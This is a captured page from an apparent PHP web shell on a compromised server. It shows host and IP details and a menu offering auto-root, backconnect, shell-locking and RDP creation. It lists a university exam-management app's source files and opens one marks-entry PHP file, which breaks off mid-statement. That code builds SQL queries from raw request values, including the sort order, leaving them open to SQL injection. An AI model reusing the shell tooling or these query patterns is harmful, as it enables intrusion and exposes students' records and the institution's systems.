Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.218.250.241
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
CIEAttendanceNotEligible.php
3.28
KB
-rw-rw-r--
CIEpendingList.php
5.85
KB
-rw-rw-r--
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
Dispatch_ans_script_setup_qp.p...
5.18
KB
-rwxr-xr-x
DisplayPrintApplication_ru.php
65.63
KB
-rw-rw-r--
ECHblk.php
14.61
KB
-rwxr-xr-x
ECHblk_15042021.php
11.68
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
30.6
KB
-rw-rw-r--
MarkEntry-Setup_bf_gcg.php
22.89
KB
-rwxr-xr-x
MarkEntry-Setupx.php
30.61
KB
-rwxr-xr-x
SelectSubjType.php
3.05
KB
-rw-rw-r--
SubjectType.php
3.62
KB
-rw-rw-r--
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
UpdateCollDet.php
2.03
KB
-rwxr-xr-x
absentAndMalReportPdf.php
8.25
KB
-rw-rw-r--
absentEntryYearModewise.php
991
B
-rw-rw-r--
absent_entry_setup.php
8.13
KB
-rwxr-xr-x
absent_entry_setupQp.php
11.36
KB
-rwxr-xr-x
ack_adm_application.php
103.36
KB
-rwxr-xr-x
ack_adm_application.php.orig
58.73
KB
-rwxr-xr-x
ack_admentry_application.php
59.63
KB
-rwxr-xr-x
ack_exam_app_form.php
20.27
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
12.71
KB
-rwxr-xr-x
ack_report.php
3.69
KB
-rwxr-xr-x
ack_rv_rt_application.php
9.34
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
adm_delete_data.php
5.58
KB
-rwxr-xr-x
admapprove.php
10.33
KB
-rwxr-xr-x
admapprove_kus.php
9.28
KB
-rwxr-xr-x
admissionHallTicket.php
4.43
KB
-rw-r--r--
admission_entry_status.php
2.73
KB
-rwxr-xr-x
admissionapplist.php
5.06
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxr-xr-x
admstuddate.php
6.06
KB
-rwxr-xr-x
admuploadexsheet.php
20.48
KB
-rwxr-xr-x
affliation_fee.php
5.04
KB
-rwxrwxrwx
approve.php
41.53
KB
-rwxr-xr-x
approve_kus.php
24.12
KB
-rwxr-xr-x
assignUserMenu.php
13.66
KB
-rw-rw-r--
attCisshortList_sjbit.php
11.91
KB
-rw-r--r--
attEntTeachWise.php
2.07
KB
-rw-rw-r--
attEntryDaywise.php
26.9
KB
-rw-rw-r--
attTeachSum.php
3.63
KB
-rw-r--r--
attendEntry.php
5.32
KB
-rw-rw-r--
attendance.php
17.09
KB
-rwxr-xr-x
attendanceReportForm.php
6.36
KB
-rw-rw-r--
attendance_freez.php
8.51
KB
-rwxr-xr-x
attendance_freez_mth.php
8.24
KB
-rwxr-xr-x
attendanceentrydaywise.php
11.36
KB
-rw-r--r--
attendenceshort.php
7.58
KB
-rw-rw-r--
attshort.php
6.29
KB
-rwxr-xr-x
atttechblp.php
2.48
KB
-rw-r--r--
auto-complete.php
4.89
KB
-rwxr-xr-x
backup.php
4.12
KB
-rwxr-xr-x
backup_1.php
7.85
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
backupold.php
2.73
KB
-rwxr-xr-x
bill_details.php
14.21
KB
-rw-rw-r--
board.php
4
KB
-rwxr-xr-x
bundle_dispatch.php
3.2
KB
-rwxr-xr-x
bundle_rec_ack.php
4.67
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.28
KB
-rwxr-xr-x
candidate-entry.php
50.68
KB
-rwxr-xr-x
cappcontext.php
2.71
KB
-rwxr-xr-x
challan_entries.php
15.05
KB
-rwxr-xr-x
challan_preparation.php
11.29
KB
-rwxr-xr-x
changeDegree.php
1.56
KB
-rwxr-xr-x
changeMobile.php
2.13
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
cntDeclaration.php
4.23
KB
-rwxr-xr-x
coll_exam_app_form.php
3.29
KB
-rwxr-xr-x
collbankdet.php
1.9
KB
-rwxr-xr-x
colldesp_ack.php
4.03
KB
-rw-rw-r--
college.php
5.39
KB
-rwxr-xr-x
college_approve.php
5.59
KB
-rwxr-xr-x
college_degree_status.php
5.65
KB
-rwxr-xr-x
collegewisedownload.php
9.46
KB
-rw-rw-r--
colltransfer.php
6.83
KB
-rw-rw-r--
connect.php
2.58
KB
-rwxr-xr-x
convdet.php
8.02
KB
-rwxr-xr-x
convo.php
8.14
KB
-rw-rw-r--
copoMarksList.php
1.27
KB
-rw-rw-r--
copomarksentry.php
10.46
KB
-rw-r--r--
copomarksexternal.php
23.05
KB
-rw-r--r--
coporeport.php
4.56
KB
-rw-r--r--
courserep.php
1.68
KB
-rw-r--r--
coutput.php
1.84
KB
-rwxr-xr-x
createAdmission.php
14.91
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
createattclass.php
6.99
KB
-rw-rw-r--
createclassattend.php
22.03
KB
-rw-r--r--
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
548
B
-rwxr-xr-x
cuser.php
3.53
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
daterange.php
6.67
KB
-rwxr-xr-x
degree.php
8.28
KB
-rwxr-xr-x
degree_SujectReport.php
893
B
-rw-rw-r--
degstudymat.php
6.51
KB
-rwxr-xr-x
degstudymatdet.php
6.27
KB
-rwxr-xr-x
degwiseIAreport.php
2.95
KB
-rw-rw-r--
display_details_in_grid.php
107.2
KB
-rw-rw-r--
display_details_in_grid_bf_231...
111.76
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.72
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
display_details_in_grid_withde...
97.45
KB
-rwxr-xr-x
doc_verify.php
7.52
KB
-rwxr-xr-x
download_misc_files.php
5.19
KB
-rwxr-xr-x
download_misc_files_bcu_comm.p...
4.19
KB
-rwxr-xr-x
download_photo.php
35.98
KB
-rwxr-xr-x
download_photo_pgadm_photos.ph...
4.73
KB
-rw-rw-r--
download_upload.php
3.86
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
editstddet.php
7.01
KB
-rw-rw-r--
enableStudReg.php
7.65
KB
-rwxr-xr-x
entregupd.php
1.91
KB
-rw-rw-r--
entryexitevents.php
3.09
KB
-rwxr-xr-x
error_log.php
749
B
-rwxr-xr-x
examappfeereport.php
2.12
KB
-rw-rw-r--
execute_query.php
2.5
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
feepaidreports.php
2.77
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
10.48
KB
-rwxr-xr-x
freeze_module_at_admin_college...
9.35
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
freezeiaprici.php
10.87
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getDegreeAndSem.php
4.32
KB
-rw-rw-r--
getMessages.php
11.39
KB
-rwxr-xr-x
getTestTotalMarksReport.php
11.96
KB
-rw-rw-r--
getdata.php
39.06
KB
-rwxrwxrwx
getdataold.php
29.62
KB
-rwxr-xr-x
getfeeinformation.php
7.26
KB
-rwxr-xr-x
getmoduledetails.php
23.77
KB
-rwxr-xr-x
getnumword.php
7.45
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
htblk.php
6.13
KB
-rwxr-xr-x
ia_room_allotment_datewise.php
12.13
KB
-rwxr-xr-x
iaabsententry.php
3.1
KB
-rw-r--r--
iamarks.php
7.68
KB
-rw-r--r--
iaroomdeclaration.php
2.6
KB
-rwxr-xr-x
iasectionwise.php
30.09
KB
-rw-r--r--
iasectionwisenew.php
35.77
KB
-rw-r--r--
iatimetable.php
7.61
KB
-rw-r--r--
identifyCoMarksNew.php
2.6
KB
-rw-rw-r--
identify_transactions.php
6.4
KB
-rwxr-xr-x
import_marks.php
4.11
KB
-rwxr-xr-x
invigilatorDairyRoomWise.php
6.07
KB
-rw-rw-r--
json.php
34.52
KB
-rwxr-xr-x
lateralentry.php
2.39
KB
-rwxr-xr-x
login.php
8.88
KB
-rwxr-xr-x
login_old.php
3.15
KB
-rwxr-xr-x
marksEntryExt.php
9.11
KB
-rwxr-xr-x
marksentryext.php
13.1
KB
-rw-rw-r--
marksentryquestionwise.php
41.93
KB
-rw-rw-r--
message_board.php
4.67
KB
-rwxr-xr-x
messagetext.php
1.68
KB
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
155.51
KB
-rwxr-xr-x
mregistry18.06.2021.php
99.46
KB
-rwxr-xr-x
mregistry_14092024.php
150.27
KB
-rw-rw-r--
mrn_approval.php
9
KB
-rwxr-xr-x
oldqnpaper.php
4.44
KB
-rw-rw-r--
pendingcie.php
4.21
KB
-rw-rw-r--
picharttesting.php
24.76
KB
-rw-r--r--
pmarks.php
5.97
KB
-rw-rw-r--
post.php
6
KB
-rwxr-xr-x
practicalMarks.php
8.67
KB
-rw-rw-r--
prbillreport.php
5.07
KB
-rw-r--r--
prientCodeStikers.php
6.35
KB
-rw-r--r--
principalFreeze.php
6.92
KB
-rw-rw-r--
principalfreezingsubject.php
1.9
KB
-rw-rw-r--
printAdmRegn.php
13.13
KB
-rwxr-xr-x
printApp_ru.php
1.12
KB
-rw-rw-r--
printMarkListDetailsWisenew_sj...
14.42
KB
-rw-r--r--
qnwiseMarksStats.php
6.14
KB
-rw-rw-r--
qnwisemarksentrynew.php
18.61
KB
-rw-rw-r--
qpSummaryReport.php
1.03
KB
-rw-rw-r--
receive_rv_rt_application.php
8.33
KB
-rwxr-xr-x
receive_teach_trans.php
2.49
KB
-rw-rw-r--
receive_teach_transfer.js
5.06
KB
-rw-rw-r--
remunerationEntry.php
7.14
KB
-rw-rw-r--
repeateriamarksentry.php
4.86
KB
-rw-rw-r--
report_bulk_applications.php
19.42
KB
-rwxr-xr-x
report_iamarks_pending.php
12.04
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
22.93
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.54
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
resetPasswordUser.php
2.69
KB
-rw-rw-r--
result.php
5.06
KB
-rwxr-xr-x
revaluation.php
16.66
KB
-rwxr-xr-x
revaluation_oldtype.php
8.45
KB
-rwxr-xr-x
revaluation_withdegree.php
16.77
KB
-rwxr-xr-x
roomAllotment.php
37.45
KB
-rw-rw-r--
room_allotment.php
9.14
KB
-rwxr-xr-x
room_allotment_datewise.php
26.07
KB
-rwxr-xr-x
room_allotment_datewise_bf_rcu...
16.97
KB
-rwxr-xr-x
room_allotment_datewise_stph.p...
21.57
KB
-rwxr-xr-x
room_allotment_datewise_stph_n...
29.01
KB
-rwxr-xr-x
room_allotment_shifiting.php
3.34
KB
-rwxr-xr-x
roomallotmentExcel.php
8.23
KB
-rw-rw-r--
roomallotmentqpwise.php
10.22
KB
-rw-rw-r--
roomallotmentqpwisenew.php
13.92
KB
-rw-rw-r--
roomcreationnew.php
2.81
KB
-rw-rw-r--
roomdeclaration.php
2.2
KB
-rwxr-xr-x
roomdeclaration_stph.php
2.51
KB
-rwxr-xr-x
roomwiseinvigilatorsEntry.php
9.86
KB
-rw-rw-r--
rvdates.php
6.46
KB
-rw-rw-r--
rvrt_ack_exam_app.php
6
KB
-rw-rw-r--
rvrt_report.php
1.92
KB
-rw-rw-r--
savePassword.php
1.14
KB
-rw-rw-r--
saveclsdets.php
1.91
KB
-rw-rw-r--
savesspdetails.php
9.93
KB
-rw-rw-r--
sectionwisepermission.php
5.67
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
sendsmsapi.php
814
B
-rwxr-xr-x
sendusrandpws.php
1002
B
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
shortLists.php
1.65
KB
-rw-rw-r--
std_register_det.php
3.56
KB
-rw-rw-r--
stringspliter.php
693
B
-rwxr-xr-x
studSubIdent.php
11.23
KB
-rw-r--r--
stud_name_doc_upload.php
1.24
KB
-rw-rw-r--
stud_wise_report.php
3.02
KB
-rw-rw-r--
student.php
58.23
KB
-rwxr-xr-x
student_entry.php
61.39
KB
-rwxr-xr-x
student_entry_kswu.php
51.23
KB
-rwxr-xr-x
student_entry_nitte.php
88.09
KB
-rw-rw-r--
student_entry_rur.php
74.42
KB
-rw-rw-r--
student_entry_vku.php
66.58
KB
-rwxr-xr-x
student_rur.php
64.37
KB
-rw-rw-r--
student_vku.php
57.95
KB
-rwxr-xr-x
studentfeesandattiashortagedat...
11.38
KB
-rw-rw-r--
studentportal_remove.php
6.18
KB
-rwxr-xr-x
studentreport.php
15.37
KB
-rw-rw-r--
studnamecorr.php
6.69
KB
-rw-rw-r--
subIAMarksEntry.php
11.14
KB
-rw-rw-r--
subblock.php
6.12
KB
-rwxr-xr-x
subdet.php
9.61
KB
-rw-rw-r--
subjReg.php
12.04
KB
-rw-r--r--
subjectList_display.php
11.7
KB
-rwxr-xr-x
subject_freshExam.php
33.18
KB
-rwxr-xr-x
subject_freshExam_rcub.php
28.33
KB
-rwxr-xr-x
subjectfreez.php
13.02
KB
-rwxr-xr-x
subjectwise_freezing_sectionwi...
12.43
KB
-rwxr-xr-x
subshort.php
8.97
KB
-rw-rw-r--
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
80.41
KB
-rwxr-xr-x
teachFreeze.php
8.17
KB
-rw-r--r--
teachOficerEntry.php
11.46
KB
-rwxr-xr-x
teachers.php
19.76
KB
-rwxr-xr-x
theoryMarksEntry.php
4.89
KB
-rw-rw-r--
thvalmarks.php
2.72
KB
-rw-r--r--
time_table_degreewise.php
5
KB
-rwxrwxrwx
transaction-series.php
4.86
KB
-rwxr-xr-x
updateSection.php
4.74
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
updatecopo.php
9.34
KB
-rw-r--r--
updatedegreegroup.php
3.21
KB
-rw-rw-r--
updateexamcnt.php
2.92
KB
-rwxr-xr-x
updatefreshexam.php
1.33
KB
-rw-rw-r--
updatestudentsem.php
2.03
KB
-rw-rw-r--
updatetimetable.php
9.14
KB
-rw-r--r--
updateuvcms.php
2.37
KB
-rw-rw-r--
updmarks.php
22.24
KB
-rw-r--r--
updnemp.php
1.78
KB
-rw-r--r--
upload_doc_demo.php
84
B
-rw-rw-r--
upload_studentPhoto.php
10.81
KB
-rwxr-xr-x
upload_studentPhoto_before_dow...
8.02
KB
-rwxr-xr-x
uploadcopo.php
7.89
KB
-rw-r--r--
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
uploadteacherattendance.php
5.23
KB
-rw-r--r--
userpasswordreset.php
754
B
-rw-rw-r--
usersetup.php
24.46
KB
-rwxr-xr-x
usersetupNew.php
12.76
KB
-rw-r--r--
usersubj_identification.php
5.15
KB
-rwxr-xr-x
viewNotifications.php
1.21
KB
-rw-rw-r--
view_ledger.php
3.64
KB
-rwxrwxrwx
yearmode.php
1.83
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : qnwisemarksentrynew.php
<?php function meViewIaStudDet($aobj_context){ session_start(); $collcode=$_SESSION['collcode']; $teachcode = $aobj_context->mobj_data["teachcode"]; $classid = $aobj_context->mobj_data["classid"]; $subject = $aobj_context->mobj_data["subelement"]; $txtmarks = $aobj_context->mobj_data["txtmarks"]; $testName = $aobj_context->mobj_data["testName"]; $sort = $aobj_context->mobj_data["fsort"]; $split = explode("*", $subject); $subelement = $split[0]; $subdet = $split[1]; $queryView = "select * from maxmarksint where fclassid='{$classid}' and ftestname='{$testName}' and fsubcode = '{$subelement}'"; $resMarks=$aobj_context->mobj_db->GetAll($queryView); if(count($resMarks) == 0){ $arr['msg'] = "Questionwise maximum marks and CO not entered"; echo($aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure")); return; } $query = "select distinct fcollcode, fdegree, fexamno from attendsum where fclassid = '{$classid}'"; $res=$aobj_context->mobj_db->GetRow($query); $collcode = $res['fcollcode']; $degree = $res['fdegree']; $exam = $res['fexamno']; if($testName == "Test 1"){ $dateCond = "DATE_FORMAT(fia1from,'%Y-%m-%d') and DATE_FORMAT(fia1to,'%Y-%m-%d')"; }else if($testName == "Test 2"){ $dateCond = "DATE_FORMAT(fia2from,'%Y-%m-%d') and DATE_FORMAT(fia2to,'%Y-%m-%d')"; }else if($testName == "Test 3"){ $dateCond = "DATE_FORMAT(fia3from,'%Y-%m-%d') and DATE_FORMAT(fia3to,'%Y-%m-%d')"; }else if($testName == "Test 4"){ $dateCond = "DATE_FORMAT(fia4from,'%Y-%m-%d') and DATE_FORMAT(fia4to,'%Y-%m-%d')"; } $query = "select * from subdet where fcollcode = '{$collcode}' and DATE_FORMAT(NOW(),'%Y-%m-%d') between {$dateCond} and concat(fcsubcode,fsubcode) = '{$subelement}' and fdegree='{$degree}'"; $res3 = $aobj_context->mobj_db->GetAll($query); if(count($res3) == 0){ $arr['msg'] = "Dates not enabled"; echo($aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "Failure")); return; } $query = "select stu.FREGNO, stu.FNAME, sd.fexamno, sd.fdegree, stu.fcollcode, ifnull(ftotal, '')as ftotal, ifnull(facttotal, '')as facttotal, fu1max FROM attendsum a inner join student stu on stu.FREGNO=a.FREGNO and stu.fdegree = a.fdegree inner join degree d on d.FDEGREE =a.FDEGREE and d.Fexamno=a.Fexamno inner join subdet sd on a.fdegree = sd.fdegree and a.fexamno = sd.fexamno and left(a.fsubcode,4) = left(sd.fcsubcode,4) left join marksint mak ON a.fdegree = mak.fdegree and a.FREGNO=mak.FREGNO and mak.ftest = '{$testName}' and mak.fsubcode='{$subelement}' where a.fteachcode = '{$teachcode}' and a.fclassid = '{$classid}' and a.FCOLLCODE='{$collcode}' and concat(sd.fcsubcode,sd.fsubcode) = '{$subelement}' and left(a.fsubcode,4) = left('{$subelement}',4) group by fregno order by {$sort}"; $result=$aobj_context->mobj_db->GetAll($query); $table = "<table id='tabledata' class='table' width='100%' cellspacing='0' cellpadding='0' border='0' >"; $table .= "<thead style='position:sticky; top:0; z-index:1'>"; $table .= "<tr style='position: sticky; top: 0; background: white;'> <th colspan='7' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper'> <input type='text' style='width:96%; padding:4px;margin:2px; border-radius:20px;' id='myInput' onkeyup='searchRegCode()' placeholder='Search by Name....'></th> </tr>"; $table .= "<tr align='center' class='ui-state-default ui-jqgrid-hdiv'>"; $table .= "<td class='column'>Sl. No.</td>"; $table .= "<td class='column'>USN</td>"; $table .= "<td class='column'>Student Name</td>"; $table .= "<td class='column'>Max Marks</td>"; $table .= "<td class='column'>Secure Marks</td>"; $table .= "<td class='column'>Action</td>"; $table .= "<td class='column'>Absent ?</td>"; $table .= "</tr></thead><tbody>"; for($i=0; $i<count($result); $i++){ $total = $result[$i]['facttotal'] == "-2" ? "Absent" : $result[$i]['facttotal']; $ent = $total == "Absent" ? "": "<span class='btn' onclick='getStudentMarks(`{$result[$i]['FREGNO']}`, `{$testName}`, `{$subelement}`, `{$collcode}`, `{$classid}`, `{$result[$i]['fdegree']}`, `{$result[$i]['fexamno']}`, `{$result[$i]['FNAME']}`)'>Enter Marks</span>"; $style = $result[$i]['facttotal'] == "-2" ? 'color:#b62020;' : 'color:#000;'; $slno = $i + 1; $table .= "<tr align='center' lass='ui-widget-content jqgrow'>"; $table .= "<td class='column'>". $slno ."</td>"; $table .= "<td class='column'>". $result[$i]['FREGNO'] ."</td>"; $table .= "<td class='column' style='text-align:initial;width: 200px;'>". $result[$i]['FNAME'] ."</td>"; $table .= "<td class='column'>". $result[$i]['fu1max'] ."</td>"; $table .= "<td class='column' style='{$style}'>". $total ."</td>"; $table .= "<td class='column'>". $ent ."</td>"; $table .= "<td class='column'> <span class='btn' style='background:#b62020;' onclick='absentHandler(`{$result[$i]['FREGNO']}`, `{$testName}`, `{$subelement}`, `{$collcode}`, `{$classid}`, `{$result[$i]['fdegree']}`, `{$result[$i]['fexamno']}`)'>Absent</span> <span class='btn' style='background:#6495ED;' onclick='removeAbsentHandler(`{$result[$i]['FREGNO']}`, `{$testName}`, `{$subelement}`, `{$collcode}`, `{$classid}`, `{$result[$i]['fdegree']}`, `{$result[$i]['fexamno']}`)'>Remove AB</span> </td>"; $table .= "</tr>"; } $table .= "</tbody></table>"; $arr['html'] = $table; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); } function meGetStudentMarksData($aobj_context){ $testname = $aobj_context->mobj_data["testname"]; $subcode = $aobj_context->mobj_data["subcode"]; $classid = $aobj_context->mobj_data["classid"]; $degree = $aobj_context->mobj_data["degree"]; $sem = $aobj_context->mobj_data["sem"]; $regno = $aobj_context->mobj_data["regno"]; $name = $aobj_context->mobj_data["name"]; $collcode = $_SESSION['collcode']; $query1 = "select t.* from tdvs_qptemphead t inner join subdet s on s.ftempcode = t.ftempcode where concat(fcsubcode, fsubcode) = '{$subcode}' and fdegree='{$degree}' and fexamno='{$sem}'"; $result=$aobj_context->mobj_db->GetAll($query1); if(count($result) == 0){ $arr['msg'] = "Template not found"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, -1, "failure"); return; } $query = "select ifnull(fclassid, '')as fclassid, ifnull(fclassid, '')as fclassid, ifnull(fclassid, '')as fclassid, ifnull(fqn, '')as fqn, ifnull(fqnno, '')as fqnno, ifnull(fmarks, '')as fmarks, ifnull(fco, '')as fco from maxmarksint where fclassid='{$classid}' and ftestname='{$testname}' and fsubcode='{$subcode}' order by lpad(fqnno, 3, 0)"; $result=$aobj_context->mobj_db->GetAll($query); $table = "<table id='marksdata' style='position:sticky; top:0' class='table' width='100%' cellspacing='0' cellpadding='0'> <thead style='position: sticky; top: 0; z-index: 1'> <tr> <th colspan='5' style='text-align: initial;padding:10px' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper'> Marks Entry </th> </tr> <tr style='background:#fff'> <th colspan='2' class='column'> USN: {$regno}</th> <th colspan='2' class='column'> Name: {$name}</th> <th colspan='2' class='column' align='center'><span class='btn' onclick='saveMarksEntryQnWiseNew()'>Save</span> </th> </tr> <tr class='ui-state-default ui-jqgrid-hdiv'> <th class='column' align='center' width='20%'>Question No.</th> <th class='column' align='center' width='20%'>Sub Qn.</th> <th class='column' align='center' width='20%'>Max Marks</th> <th class='column' align='center' width='20%'>Secured Marks</th> <th class='column' align='center' width='20%'>Total</th> </tr> </thead><tbody>"; $newQn = ""; $count = 0; $i=0; $newArr = []; foreach($result as $val){ $obj['fclassid'] = $classid; $obj['subcode'] = $subcode; $obj['test'] = $testname; $obj['fco'] = $val['fco']; $obj['fmarks'] = $val['fmarks']; $obj['fqn'] = $val['fqn']; $obj['fqnno'] = $val['fqnno']; $table .= "<tr>"; if($val['fqn'] !== $newQn){ $query1 = "select count(*)as count, fqn from maxmarksint where fclassid='{$classid}' and ftestname='{$testname}' and fsubcode='{$subcode}' and fqn = '{$val['fqn']}'"; $result1=$aobj_context->mobj_db->GetRow($query1); $count = $result1['count']; $table .= "<td class='column' align='center' rowspan='{$count}'>".$val['fqn']."</td>"; } $col = "fmarks".$val['fqnno']; $tot = "ftotal".$val['fqn']; $qry = "select ifnull($col, '-1')as $col, ifnull($tot, '')as $tot from marksint where fregno='{$regno}' and fsubcode ='{$subcode}' and ftest='{$testname}' and fdegree='{$degree}' and fexamno='{$sem}'"; $res = $aobj_context->mobj_db->GetRow($qry); $obj['marks'] = $res[$col] == "" ? '-1': $res[$col]; $res[$col] = $res[$col] == "" ? '-1' : $res[$col]; $res[$col] = $res[$col] == "-2" ? 'ab' : $res[$col]; $table .= "<td class='column' align='center'>".$val['fqnno']."</td> <td class='column' align='center'>".$val['fmarks']."</td> <td class='column' align='center'><input type='text' style='height:100%; width:60%; padding:5px;' value='{$res[$col]}' id='marks_{$val['fqnno']}' onblur='addStMarks(`{$val['fqn']}`, `{$val['fqnno']}`, `{$val['fmarks']}`, `{$i}`, `{$testname}`, `{$subcode}`)'/></td>"; if($val['fqn'] !== $newQn){ $totalMarks = $res[$tot] == "-1.0" ? "" : $res[$tot]; $table .= "<td class='column' align='center' rowspan='{$count}'><input type='text' style='height:100%; width:60%; padding:5px;' id='total_{$val['fqn']}' value='{$totalMarks}' disabled/></td>"; } $table .= "</tr>"; $newQn = $val['fqn']; array_push($newArr, $obj); $i++; } $table .= "</tbody></table>"; $arr['marksArr'] = $newArr; $arr['html'] = $table; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); } function saveMeStudenMarks($aobj_context){ $degree = $aobj_context->mobj_data["degree"]; $sem = $aobj_context->mobj_data["sem"]; $regno = $aobj_context->mobj_data["regno"]; $data = json_decode($aobj_context->mobj_data["data"], true); $collcode = $_SESSION['collcode']; $test = $data[0]['ftest']; $subcode = $data[0]['fsubcode']; $columns = ""; $totColumns = ""; $tot = ""; $marksColumn = ""; $totMarksCol = "";//20 $totMarks = 0;//10 $totM = $data[0]['fqn']; $count = 1; $i=1; foreach($data as $val){ if($i == count($data)){ $cond = ""; }else{ $cond = ","; } $columns.='fmarks'.$val['fqnno'].$cond; $marksColumn.= $val['fmarks']=="ab" ? '-2'.$cond : $val['fmarks'].$cond; if($totM == $val['fqn']){ $totMarks+=($val['fmarks']=="-1" || $val['fmarks']=="ab") ? 0:$val['fmarks']; if($i == count($data)){ $totMarksCol.=$totMarks.","; } $count += 1; }else{ $totMarksCol.=$totMarks.","; $totM = $val['fqn']; $totMarks = ($val['fmarks']=="-1" || $val['fmarks']=="ab") ? 0:$val['fmarks']; $count = 1; } if($tot !== 'ftotal'.$val['fqn']){ $tot = 'ftotal'.$val['fqn']; $totColumns.='ftotal'.$val['fqn'].','; } $i++; } if($count == 1){ $totMarksCol.=$totMarks.','; } $query1 = "delete from marksint where fregno='{$regno}' and fsubcode ='{$subcode}' and ftest='{$test}' and fdegree='{$degree}' and fexamno='{$sem}'"; $result1 = $aobj_context->mobj_db->Execute($query1); $query = "insert into marksint(fdegree, fexamno, fcollcode, fregno, fsubcode, ftest, $totColumns $columns) values('{$degree}', '{$sem}', '{$collcode}', '{$regno}', '{$subcode}', '{$test}', $totMarksCol $marksColumn)"; //var_dump($query);die(); $result = $aobj_context->mobj_db->Execute($query); $query2 = "select t.* from tdvs_qptemphead t inner join subdet s on s.ftempcode = t.ftempcode where concat(fcsubcode, fsubcode) = '{$subcode}' and fdegree='{$degree}' and fexamno='{$sem}';"; $result2 = $aobj_context->mobj_db->GetAll($query2); $total = 0; foreach($result2 as $val){ $limit = $val['fmandqn']; $explode = explode("*", $val['fqpcodes']); $totCol = "ftotal".$explode[0]; $query3 = "select '' as qp, cast(ifnull($totCol, 0) as decimal(6,2)) as marks from marksint a where fregno = '{$regno}' and fsubcode = '{$subcode}' and ftest = '{$test}' and fdegree='{$degree}' and fexamno='{$sem}'"; for ($i=1; $i < count($explode); $i++) { $col = "ftotal".$explode[$i]; $query3.=" union select '{$i}' as qp,cast(ifnull($col, 0) as decimal(6,2)) as marks from marksint a where fregno = '{$regno}' and fsubcode = '{$subcode}' and ftest = '{$test}' and fdegree='{$degree}' and fexamno='{$sem}'"; } $query3.=" order by marks desc limit $limit"; $result3 = $aobj_context->mobj_db->GetAll($query3); for ($i=0; $i < count($result3); $i++) { $tot = $result3[$i]['marks'] == "-1" ? 0 : floatval($result3[$i]['marks']); $total+=$tot; } } if($result){ $sql = "update marksint set ftotal='{$total}', facttotal='{$total}' where fdegree='{$degree}' and fexamno='{$sem}' and fcollcode='{$collcode}' and fregno='{$regno}' and fsubcode='{$subcode}' and ftest='{$test}'"; $res = $aobj_context->mobj_db->Execute($sql); $arr['msg'] = "Saved Successfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($arr, 0, "success"); }else{ $arr['msg'] = "failed to save"; echo 